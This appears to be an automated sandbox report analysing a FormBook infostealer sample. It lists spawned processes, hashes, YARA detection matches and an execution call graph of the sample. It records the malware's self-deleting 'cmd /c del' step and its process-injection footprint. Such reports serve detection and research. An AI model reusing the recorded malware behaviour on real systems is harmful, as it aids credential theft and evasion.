                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                        • Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.1499670028.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                        General

                                                                                                                                                                                                        Target ID:3
                                                                                                                                                                                                        Start time:09:12:09
                                                                                                                                                                                                        Start date:28/10/2024
                                                                                                                                                                                                        Path:C:\Windows\explorer.exe
                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                        Commandline:C:\Windows\Explorer.EXE
                                                                                                                                                                                                        Imagebase:0x7ff62d7d0000
                                                                                                                                                                                                        File size:5'141'208 bytes
                                                                                                                                                                                                        MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                        Yara matches:
                                                                                                                                                                                                        • Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 00000003.00000002.2325642731.0000000010D87000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                        General

                                                                                                                                                                                                        Target ID:4
                                                                                                                                                                                                        Start time:09:12:11
                                                                                                                                                                                                        Start date:28/10/2024
                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\help.exe
                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                        Commandline:"C:\Windows\SysWOW64\help.exe"
                                                                                                                                                                                                        Imagebase:0x470000
                                                                                                                                                                                                        File size:10'240 bytes
                                                                                                                                                                                                        MD5 hash:DD40774E56D4C44B81F2DFA059285E75
                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                        Yara matches:
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                        • Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2705169707.0000000002B20000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                        • Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2698343206.0000000002490000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                        • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                        • Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2705537393.0000000002B50000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                        Reputation:moderate
                                                                                                                                                                                                        Has exited:false

                                                                                                                                                                                                        General

                                                                                                                                                                                                        Target ID:5
                                                                                                                                                                                                        Start time:09:12:15
                                                                                                                                                                                                        Start date:28/10/2024
                                                                                                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                        Commandline:/c del "C:\Windows\SysWOW64\svchost.exe"
                                                                                                                                                                                                        Imagebase:0xa40000
                                                                                                                                                                                                        File size:236'544 bytes
                                                                                                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                        General

                                                                                                                                                                                                        Target ID:6
                                                                                                                                                                                                        Start time:09:12:15
                                                                                                                                                                                                        Start date:28/10/2024
                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                        Imagebase:0x7ff6ee680000
                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                        General

                                                                                                                                                                                                        Target ID:12
                                                                                                                                                                                                        Start time:09:13:32
                                                                                                                                                                                                        Start date:28/10/2024
                                                                                                                                                                                                        Path:C:\Windows\System32\WerFault.exe
                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                        Commandline:C:\Windows\system32\WerFault.exe -u -p 4084 -s 7096
                                                                                                                                                                                                        Imagebase:0x7ff7a6630000
                                                                                                                                                                                                        File size:570'736 bytes
                                                                                                                                                                                                        MD5 hash:FD27D9F6D02763BDE32511B5DF7FF7A0
                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                        General

                                                                                                                                                                                                        Target ID:13
                                                                                                                                                                                                        Start time:09:13:34
                                                                                                                                                                                                        Start date:28/10/2024
                                                                                                                                                                                                        Path:C:\Windows\explorer.exe
                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                        Commandline:explorer.exe
                                                                                                                                                                                                        Imagebase:0x7ff62d7d0000
                                                                                                                                                                                                        File size:5'141'208 bytes
                                                                                                                                                                                                        MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                        Yara matches:
                                                                                                                                                                                                        • Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 0000000D.00000002.2736322839.000000000D654000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                        Has exited:false

                                                                                                                                                                                                        Disassembly

                                                                                                                                                                                                        Reset < >

                                                                                                                                                                                                          Execution Graph

                                                                                                                                                                                                          Execution Coverage:3.1%
                                                                                                                                                                                                          Dynamic/Decrypted Code Coverage:2.3%
                                                                                                                                                                                                          Signature Coverage:4.6%
                                                                                                                                                                                                          Total number of Nodes:1508
                                                                                                                                                                                                          Total number of Limit Nodes:49
                                                                                                                                                                                                          execution_graph 84433 467046 84434 46705d 84433->84434 84444 467136 84433->84444 84435 4671a0 84434->84435 84436 46710d 84434->84436 84437 467199 84434->84437 84446 46706e 84434->84446 84439 41171a 75 API calls 84435->84439 84440 41171a 75 API calls 84436->84440 84467 40e380 VariantClear moneypunct 84437->84467 84452 4670f3 _memcpy_s 84439->84452 84440->84452 84441 4670d2 84443 41171a 75 API calls 84441->84443 84442 41171a 75 API calls 84442->84444 84445 4670d8 84443->84445 84465 443466 75 API calls 84445->84465 84451 4670a9 moneypunct 84446->84451 84453 41171a 84446->84453 84449 4670e8 84466 45efe7 77 API calls moneypunct 84449->84466 84451->84435 84451->84441 84451->84452 84452->84442 84455 411724 84453->84455 84456 41173e 84455->84456 84460 411740 std::bad_alloc::bad_alloc 84455->84460 84468 4138ba 84455->84468 84486 411afc 6 API calls __decode_pointer 84455->84486 84456->84451 84458 411766 84490 4116fd 67 API calls std::exception::exception 84458->84490 84460->84458 84487 411421 84460->84487 84461 411770 84491 41805b RaiseException 84461->84491 84464 41177e 84465->84449 84466->84452 84467->84435 84469 41396d 84468->84469 84473 4138cc 84468->84473 84499 411afc 6 API calls __decode_pointer 84469->84499 84471 4138dd 84471->84473 84492 418252 67 API calls 2 library calls 84471->84492 84493 4180a7 67 API calls 7 library calls 84471->84493 84494 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84471->84494 84472 413973 84500 417f23 67 API calls __getptd_noexit 84472->84500 84473->84471 84478 413929 RtlAllocateHeap 84473->84478 84480 413965 84473->84480 84481 413959 84473->84481 84484 41395e 84473->84484 84495 41386b 67 API calls 4 library calls 84473->84495 84496 411afc 6 API calls __decode_pointer 84473->84496 84478->84473 84480->84455 84497 417f23 67 API calls __getptd_noexit 84481->84497 84498 417f23 67 API calls __getptd_noexit 84484->84498 84486->84455 84501 4113e5 84487->84501 84489 41142e 84489->84458 84490->84461 84491->84464 84492->84471 84493->84471 84495->84473 84496->84473 84497->84484 84498->84480 84499->84472 84500->84480 84502 4113f1 __getstream 84501->84502 84509 41181b 84502->84509 84508 411412 __getstream 84508->84489 84535 418407 84509->84535 84511 4113f6 84512 4112fa 84511->84512 84600 4169e9 TlsGetValue 84512->84600 84515 4169e9 __decode_pointer 6 API calls 84516 41131e 84515->84516 84526 4113a1 84516->84526 84610 4170e7 68 API calls 5 library calls 84516->84610 84518 41133c 84521 411357 84518->84521 84522 411366 84518->84522 84531 411388 84518->84531 84519 41696e __encode_pointer 6 API calls 84520 411396 84519->84520 84523 41696e __encode_pointer 6 API calls 84520->84523 84611 417047 73 API calls _realloc 84521->84611 84522->84526 84527 411360 84522->84527 84523->84526 84532 41141b 84526->84532 84527->84522 84529 41137c 84527->84529 84612 417047 73 API calls _realloc 84527->84612 84528 411376 84528->84526 84528->84529 84613 41696e TlsGetValue 84529->84613 84531->84519 84625 411824 84532->84625 84536 41841c 84535->84536 84537 41842f EnterCriticalSection 84535->84537 84542 418344 84536->84542 84537->84511 84539 418422 84539->84537 84570 4117af 67 API calls 3 library calls 84539->84570 84541 41842e 84541->84537 84543 418350 __getstream 84542->84543 84544 418360 84543->84544 84545 418378 84543->84545 84571 418252 67 API calls 2 library calls 84544->84571 84551 418386 __getstream 84545->84551 84574 416fb6 84545->84574 84547 418365 84572 4180a7 67 API calls 7 library calls 84547->84572 84551->84539 84552 41836c 84573 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84552->84573 84553 4183a7 84557 418407 __lock 67 API calls 84553->84557 84554 418398 84580 417f23 67 API calls __getptd_noexit 84554->84580 84558 4183ae 84557->84558 84560 4183e2 84558->84560 84561 4183b6 84558->84561 84563 413a88 __getstream 67 API calls 84560->84563 84581 4189e6 InitializeCriticalSectionAndSpinCount __getstream 84561->84581 84565 4183d3 84563->84565 84564 4183c1 84564->84565 84582 413a88 84564->84582 84596 4183fe LeaveCriticalSection _doexit 84565->84596 84568 4183cd 84595 417f23 67 API calls __getptd_noexit 84568->84595 84570->84541 84571->84547 84572->84552 84577 416fbf 84574->84577 84575 4138ba _malloc 66 API calls 84575->84577 84576 416ff5 84576->84553 84576->84554 84577->84575 84577->84576 84578 416fd6 Sleep 84577->84578 84579 416feb 84578->84579 84579->84576 84579->84577 84580->84551 84581->84564 84584 413a94 __getstream 84582->84584 84583 413b0d _realloc __getstream 84583->84568 84584->84583 84586 418407 __lock 65 API calls 84584->84586 84594 413ad3 84584->84594 84585 413ae8 RtlFreeHeap 84585->84583 84587 413afa 84585->84587 84591 413aab ___sbh_find_block 84586->84591 84599 417f23 67 API calls __getptd_noexit 84587->84599 84589 413aff GetLastError 84589->84583 84590 413ac5 84598 413ade LeaveCriticalSection _doexit 84590->84598 84591->84590 84597 419f9d __VEC_memcpy VirtualFree VirtualFree HeapFree __fptostr 84591->84597 84594->84583 84594->84585 84595->84565 84596->84551 84597->84590 84598->84594 84599->84589 84601 416a01 84600->84601 84602 416a22 GetModuleHandleW 84600->84602 84601->84602 84605 416a0b TlsGetValue 84601->84605 84603 416a32 84602->84603 84604 416a3d GetProcAddress 84602->84604 84623 41177f Sleep GetModuleHandleW 84603->84623 84609 41130e 84604->84609 84607 416a16 84605->84607 84607->84602 84607->84609 84608 416a38 84608->84604 84608->84609 84609->84515 84610->84518 84611->84527 84612->84528 84614 4169a7 GetModuleHandleW 84613->84614 84615 416986 84613->84615 84616 4169c2 GetProcAddress 84614->84616 84617 4169b7 84614->84617 84615->84614 84618 416990 TlsGetValue 84615->84618 84622 41699f 84616->84622 84624 41177f Sleep GetModuleHandleW 84617->84624 84620 41699b 84618->84620 84620->84614 84620->84622 84621 4169bd 84621->84616 84621->84622 84622->84531 84623->84608 84624->84621 84628 41832d LeaveCriticalSection 84625->84628 84627 411420 84627->84508 84628->84627 84629 444343 84632 444326 84629->84632 84631 44434e WriteFile 84633 444340 84632->84633 84634 4442c7 84632->84634 84633->84631 84639 40e190 SetFilePointerEx 84634->84639 84636 4442e0 SetFilePointerEx 84640 40e190 SetFilePointerEx 84636->84640 84638 4442ff 84638->84631 84639->84636 84640->84638 84641 46d22f 84644 46d098 84641->84644 84643 46d241 84645 46d0b5 84644->84645 84646 46d115 84645->84646 84647 46d0b9 84645->84647 84703 45c216 78 API calls 84646->84703 84648 41171a 75 API calls 84647->84648 84650 46d0c0 84648->84650 84656 46d0cc 84650->84656 84692 40d940 76 API calls 84650->84692 84651 46d126 84652 46d0f8 84651->84652 84657 46d142 84651->84657 84699 4092c0 84652->84699 84655 46d0fd 84655->84643 84693 453063 84656->84693 84660 46d1c8 84657->84660 84663 46d158 84657->84663 84713 4676a3 78 API calls 84660->84713 84666 453063 111 API calls 84663->84666 84664 46d0ea 84664->84657 84667 46d0ee 84664->84667 84665 46d1ce 84714 4444c2 SetFilePointerEx SetFilePointerEx WriteFile 84665->84714 84673 46d15e 84666->84673 84667->84652 84698 44ade5 CloseHandle moneypunct 84667->84698 84668 46d18d 84704 467fce 82 API calls 84668->84704 84670 46d196 84705 4013a0 84670->84705 84673->84668 84673->84670 84675 46d1e7 84678 4092c0 VariantClear 84675->84678 84686 46d194 84675->84686 84678->84686 84679 46d1ac 84711 40d3b0 75 API calls 2 library calls 84679->84711 84680 46d224 84680->84643 84682 46d1b8 84712 467fce 82 API calls 84682->84712 84685 46d216 84715 44ade5 CloseHandle moneypunct 84685->84715 84686->84680 84688 40d900 84686->84688 84689 40d917 84688->84689 84690 40d909 84688->84690 84689->84690 84691 40d91c CloseHandle 84689->84691 84690->84685 84691->84685 84692->84656 84694 45306e 84693->84694 84695 45307a 84693->84695 84694->84695 84716 452e2a 111 API calls 5 library calls 84694->84716 84697 40dfa0 83 API calls 84695->84697 84697->84664 84698->84652 84700 4092c8 moneypunct 84699->84700 84701 4092d5 moneypunct 84700->84701 84702 429db0 VariantClear 84700->84702 84701->84655 84702->84701 84703->84651 84704->84686 84706 41171a 75 API calls 84705->84706 84707 4013c4 84706->84707 84717 401380 84707->84717 84710 40df50 75 API calls 84710->84679 84711->84682 84712->84686 84713->84665 84714->84675 84715->84680 84716->84695 84718 41171a 75 API calls 84717->84718 84719 401387 84718->84719 84719->84710 84720 40116e 84721 401119 DefWindowProcW 84720->84721 84722 429212 84727 410b90 84722->84727 84725 411421 __cinit 74 API calls 84726 42922f 84725->84726 84728 410b9a __write_nolock 84727->84728 84729 41171a 75 API calls 84728->84729 84730 410c31 GetModuleFileNameW 84729->84730 84744 413db0 84730->84744 84732 410c66 _wcsncat 84747 413e3c 84732->84747 84735 41171a 75 API calls 84736 410ca3 _wcscpy 84735->84736 84737 410cd1 RegOpenKeyExW 84736->84737 84738 429bc3 RegQueryValueExW 84737->84738 84739 410cf7 84737->84739 84740 429cd9 RegCloseKey 84738->84740 84742 429bf2 _wcscat _wcslen _wcsncpy 84738->84742 84739->84725 84741 41171a 75 API calls 84741->84742 84742->84741 84743 429cd8 84742->84743 84743->84740 84750 413b95 84744->84750 84780 41abec 84747->84780 84751 413c2f 84750->84751 84757 413bae 84750->84757 84752 413d60 84751->84752 84753 413d7b 84751->84753 84776 417f23 67 API calls __getptd_noexit 84752->84776 84778 417f23 67 API calls __getptd_noexit 84753->84778 84756 413d65 84761 413cfb 84756->84761 84777 417ebb 6 API calls 2 library calls 84756->84777 84757->84751 84768 413c1d 84757->84768 84772 41ab19 67 API calls __fptostr 84757->84772 84760 413d03 84760->84751 84760->84761 84763 413d8e 84760->84763 84761->84732 84762 413cb9 84762->84751 84764 413cd6 84762->84764 84774 41ab19 67 API calls __fptostr 84762->84774 84779 41ab19 67 API calls __fptostr 84763->84779 84764->84751 84764->84761 84766 413cef 84764->84766 84775 41ab19 67 API calls __fptostr 84766->84775 84768->84751 84771 413c9b 84768->84771 84773 41ab19 67 API calls __fptostr 84768->84773 84771->84760 84771->84762 84772->84768 84773->84771 84774->84764 84775->84761 84776->84756 84778->84756 84779->84761 84781 41ac02 84780->84781 84782 41abfd 84780->84782 84789 417f23 67 API calls __getptd_noexit 84781->84789 84782->84781 84788 41ac22 84782->84788 84784 41ac07 84790 417ebb 6 API calls 2 library calls 84784->84790 84787 410c99 84787->84735 84788->84787 84791 417f23 67 API calls __getptd_noexit 84788->84791 84789->84784 84791->84784 84792 401230 84793 4012c5 84792->84793 84794 401241 _memset 84792->84794 84807 401be0 84794->84807 84796 40126b 84797 4012ae KillTimer SetTimer 84796->84797 84798 42aa61 84796->84798 84799 401298 84796->84799 84797->84793 84800 42aa8b Shell_NotifyIconW 84798->84800 84801 42aa69 Shell_NotifyIconW 84798->84801 84802 4012a2 84799->84802 84803 42aaac 84799->84803 84800->84797 84801->84797 84802->84797 84806 42aaf8 Shell_NotifyIconW 84802->84806 84804 42aad7 Shell_NotifyIconW 84803->84804 84805 42aab5 Shell_NotifyIconW 84803->84805 84804->84797 84805->84797 84806->84797 84808 401bfb 84807->84808 84828 401cde 84807->84828 84809 4013a0 75 API calls 84808->84809 84810 401c0b 84809->84810 84811 42a9a0 LoadStringW 84810->84811 84812 401c18 84810->84812 84814 42a9bb 84811->84814 84829 4021e0 84812->84829 84842 40df50 75 API calls 84814->84842 84815 401c2d 84817 401c3a 84815->84817 84818 42a9cd 84815->84818 84817->84814 84819 401c44 84817->84819 84843 40d3b0 75 API calls 2 library calls 84818->84843 84841 40d3b0 75 API calls 2 library calls 84819->84841 84822 42a9dc 84823 42a9f0 84822->84823 84824 401c53 _memset _wcscpy _wcsncpy 84822->84824 84844 40d3b0 75 API calls 2 library calls 84823->84844 84827 401cc2 Shell_NotifyIconW 84824->84827 84826 42a9fe 84827->84828 84828->84796 84830 4021f1 _wcslen 84829->84830 84831 42a598 84829->84831 84833 402205 84830->84833 84834 402226 84830->84834 84846 40c740 84831->84846 84845 404020 75 API calls moneypunct 84833->84845 84837 401380 75 API calls 84834->84837 84835 42a5a2 84839 40222d 84837->84839 84838 40220c _memcpy_s 84838->84815 84839->84835 84840 41171a 75 API calls 84839->84840 84840->84838 84841->84824 84842->84824 84843->84822 84844->84826 84845->84838 84847 40c752 84846->84847 84848 40c747 84846->84848 84847->84835 84848->84847 84851 402ae0 84848->84851 84850 42a572 _memcpy_s 84850->84835 84852 42a06a 84851->84852 84853 402aef 84851->84853 84854 401380 75 API calls 84852->84854 84853->84850 84855 42a072 84854->84855 84856 41171a 75 API calls 84855->84856 84857 42a095 _memcpy_s 84856->84857 84857->84850 84858 40c170 84859 40c17b 84858->84859 84862 40c1a5 _memcpy_s 84858->84862 84860 40c1d6 84859->84860 84861 40c19b 84859->84861 84859->84862 84863 41171a 75 API calls 84860->84863 84867 4034b0 84861->84867 84865 40c1df 84863->84865 84865->84862 84866 41171a 75 API calls 84865->84866 84866->84862 84868 4034b9 84867->84868 84869 4034bd 84867->84869 84868->84862 84870 41171a 75 API calls 84869->84870 84871 42a0ba 84869->84871 84872 4034fe _memcpy_s moneypunct 84870->84872 84872->84862 84873 40f110 RegOpenKeyExW 84874 40f13c RegQueryValueExW RegCloseKey 84873->84874 84875 40f15f 84873->84875 84874->84875 84876 416193 84913 41718c 84876->84913 84878 41619f GetStartupInfoW 84880 4161c2 84878->84880 84914 41aa31 HeapCreate 84880->84914 84884 416212 84916 416e29 GetModuleHandleW 84884->84916 84886 416223 __RTC_Initialize 84950 41b669 84886->84950 84889 416231 84890 41623d GetCommandLineW 84889->84890 85018 4117af 67 API calls 3 library calls 84889->85018 84965 42235f GetEnvironmentStringsW 84890->84965 84893 41623c 84893->84890 84894 41624c 84971 4222b1 GetModuleFileNameW 84894->84971 84896 416256 84897 416261 84896->84897 85019 4117af 67 API calls 3 library calls 84896->85019 84975 422082 84897->84975 84901 416272 84988 41186e 84901->84988 84904 416279 84906 416284 __wwincmdln 84904->84906 85021 4117af 67 API calls 3 library calls 84904->85021 84994 40d7f0 84906->84994 84909 4162b3 85023 411a4b 67 API calls _doexit 84909->85023 84912 4162b8 __getstream 84913->84878 84915 416206 84914->84915 84915->84884 85016 41616a 67 API calls 3 library calls 84915->85016 84917 416e44 84916->84917 84918 416e3d 84916->84918 84920 416fac 84917->84920 84921 416e4e GetProcAddress GetProcAddress GetProcAddress GetProcAddress 84917->84921 85024 41177f Sleep GetModuleHandleW 84918->85024 85034 416ad5 70 API calls 2 library calls 84920->85034 84924 416e97 TlsAlloc 84921->84924 84923 416e43 84923->84917 84926 416218 84924->84926 84927 416ee5 TlsSetValue 84924->84927 84926->84886 85017 41616a 67 API calls 3 library calls 84926->85017 84927->84926 84928 416ef6 84927->84928 85025 411a69 6 API calls 4 library calls 84928->85025 84930 416efb 84931 41696e __encode_pointer 6 API calls 84930->84931 84932 416f06 84931->84932 84933 41696e __encode_pointer 6 API calls 84932->84933 84934 416f16 84933->84934 84935 41696e __encode_pointer 6 API calls 84934->84935 84936 416f26 84935->84936 84937 41696e __encode_pointer 6 API calls 84936->84937 84938 416f36 84937->84938 85026 41828b InitializeCriticalSectionAndSpinCount __getstream 84938->85026 84940 416f43 84940->84920 84941 4169e9 __decode_pointer 6 API calls 84940->84941 84942 416f57 84941->84942 84942->84920 85027 416ffb 84942->85027 84945 4169e9 __decode_pointer 6 API calls 84946 416f8a 84945->84946 84946->84920 84947 416f91 84946->84947 85033 416b12 67 API calls 5 library calls 84947->85033 84949 416f99 GetCurrentThreadId 84949->84926 85053 41718c 84950->85053 84952 41b675 GetStartupInfoA 84953 416ffb __calloc_crt 67 API calls 84952->84953 84960 41b696 84953->84960 84954 41b8b4 __getstream 84954->84889 84955 41b831 GetStdHandle 84959 41b7fb 84955->84959 84956 416ffb __calloc_crt 67 API calls 84956->84960 84957 41b896 SetHandleCount 84957->84954 84958 41b843 GetFileType 84958->84959 84959->84954 84959->84955 84959->84957 84959->84958 85055 4189e6 InitializeCriticalSectionAndSpinCount __getstream 84959->85055 84960->84954 84960->84956 84960->84959 84961 41b77e 84960->84961 84961->84954 84961->84959 84962 41b7a7 GetFileType 84961->84962 85054 4189e6 InitializeCriticalSectionAndSpinCount __getstream 84961->85054 84962->84961 84966 422370 84965->84966 84967 422374 84965->84967 84966->84894 84968 416fb6 __malloc_crt 67 API calls 84967->84968 84969 422395 _memcpy_s 84968->84969 84970 42239c FreeEnvironmentStringsW 84969->84970 84970->84894 84972 4222e6 _wparse_cmdline 84971->84972 84973 416fb6 __malloc_crt 67 API calls 84972->84973 84974 422329 _wparse_cmdline 84972->84974 84973->84974 84974->84896 84976 42209a _wcslen 84975->84976 84980 416267 84975->84980 84977 416ffb __calloc_crt 67 API calls 84976->84977 84982 4220be _wcslen 84977->84982 84978 422123 84979 413a88 __getstream 67 API calls 84978->84979 84979->84980 84980->84901 85020 4117af 67 API calls 3 library calls 84980->85020 84981 416ffb __calloc_crt 67 API calls 84981->84982 84982->84978 84982->84980 84982->84981 84983 422149 84982->84983 84986 422108 84982->84986 85056 426349 67 API calls __fptostr 84982->85056 84984 413a88 __getstream 67 API calls 84983->84984 84984->84980 84986->84982 85057 417d93 10 API calls 3 library calls 84986->85057 84990 41187c __IsNonwritableInCurrentImage 84988->84990 85058 418486 84990->85058 84991 41189a __initterm_e 84992 411421 __cinit 74 API calls 84991->84992 84993 4118b9 __IsNonwritableInCurrentImage __initterm 84991->84993 84992->84993 84993->84904 84995 431bcb 84994->84995 84996 40d80c 84994->84996 84997 4092c0 VariantClear 84996->84997 84998 40d847 84997->84998 85062 40eb50 84998->85062 85001 40d877 85065 411ac6 67 API calls 4 library calls 85001->85065 85004 40d888 85066 411b24 67 API calls __fptostr 85004->85066 85006 40d891 85067 40f370 SystemParametersInfoW SystemParametersInfoW 85006->85067 85008 40d89f 85068 40d6d0 GetCurrentDirectoryW 85008->85068 85010 40d8a7 SystemParametersInfoW 85011 40d8cd 85010->85011 85012 4092c0 VariantClear 85011->85012 85013 40d8dd 85012->85013 85014 4092c0 VariantClear 85013->85014 85015 40d8e6 85014->85015 85015->84909 85022 411a1f 67 API calls _doexit 85015->85022 85016->84884 85017->84886 85018->84893 85019->84897 85020->84901 85021->84906 85022->84909 85023->84912 85024->84923 85025->84930 85026->84940 85030 417004 85027->85030 85029 416f70 85029->84920 85029->84945 85030->85029 85031 417022 Sleep 85030->85031 85035 422452 85030->85035 85032 417037 85031->85032 85032->85029 85032->85030 85033->84949 85034->84926 85036 42245e __getstream 85035->85036 85037 422495 _memset 85036->85037 85038 422476 85036->85038 85042 422507 HeapAlloc 85037->85042 85043 42248b __getstream 85037->85043 85045 418407 __lock 66 API calls 85037->85045 85050 41a74c 5 API calls 2 library calls 85037->85050 85051 42254e LeaveCriticalSection _doexit 85037->85051 85052 411afc 6 API calls __decode_pointer 85037->85052 85048 417f23 67 API calls __getptd_noexit 85038->85048 85040 42247b 85049 417ebb 6 API calls 2 library calls 85040->85049 85042->85037 85043->85030 85045->85037 85048->85040 85050->85037 85051->85037 85052->85037 85053->84952 85054->84961 85055->84959 85056->84982 85057->84986 85059 41848c 85058->85059 85060 41696e __encode_pointer 6 API calls 85059->85060 85061 4184a4 85059->85061 85060->85059 85061->84991 85106 40eb70 85062->85106 85065->85004 85066->85006 85067->85008 85110 401f80 85068->85110 85070 40d6f1 IsDebuggerPresent 85071 431a9d MessageBoxA 85070->85071 85072 40d6ff 85070->85072 85073 431ab6 85071->85073 85072->85073 85074 40d71f 85072->85074 85212 403e90 75 API calls 3 library calls 85073->85212 85180 40f3b0 85074->85180 85078 40d73a GetFullPathNameW 85210 401440 127 API calls _wcscat 85078->85210 85080 40d77a 85081 40d782 85080->85081 85082 431b09 SetCurrentDirectoryW 85080->85082 85083 40d78b 85081->85083 85213 43604b 6 API calls 85081->85213 85082->85081 85192 4101f0 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 85083->85192 85086 431b28 85086->85083 85088 431b30 GetModuleFileNameW 85086->85088 85090 431ba4 GetForegroundWindow ShellExecuteW 85088->85090 85091 431b4c 85088->85091 85093 40d7c7 85090->85093 85214 401b70 85091->85214 85092 40d795 85099 40d7a8 85092->85099 85200 40e1e0 85092->85200 85097 40d7d1 SetCurrentDirectoryW 85093->85097 85097->85010 85099->85093 85211 401000 Shell_NotifyIconW _memset 85099->85211 85100 431b66 85221 40d3b0 75 API calls 2 library calls 85100->85221 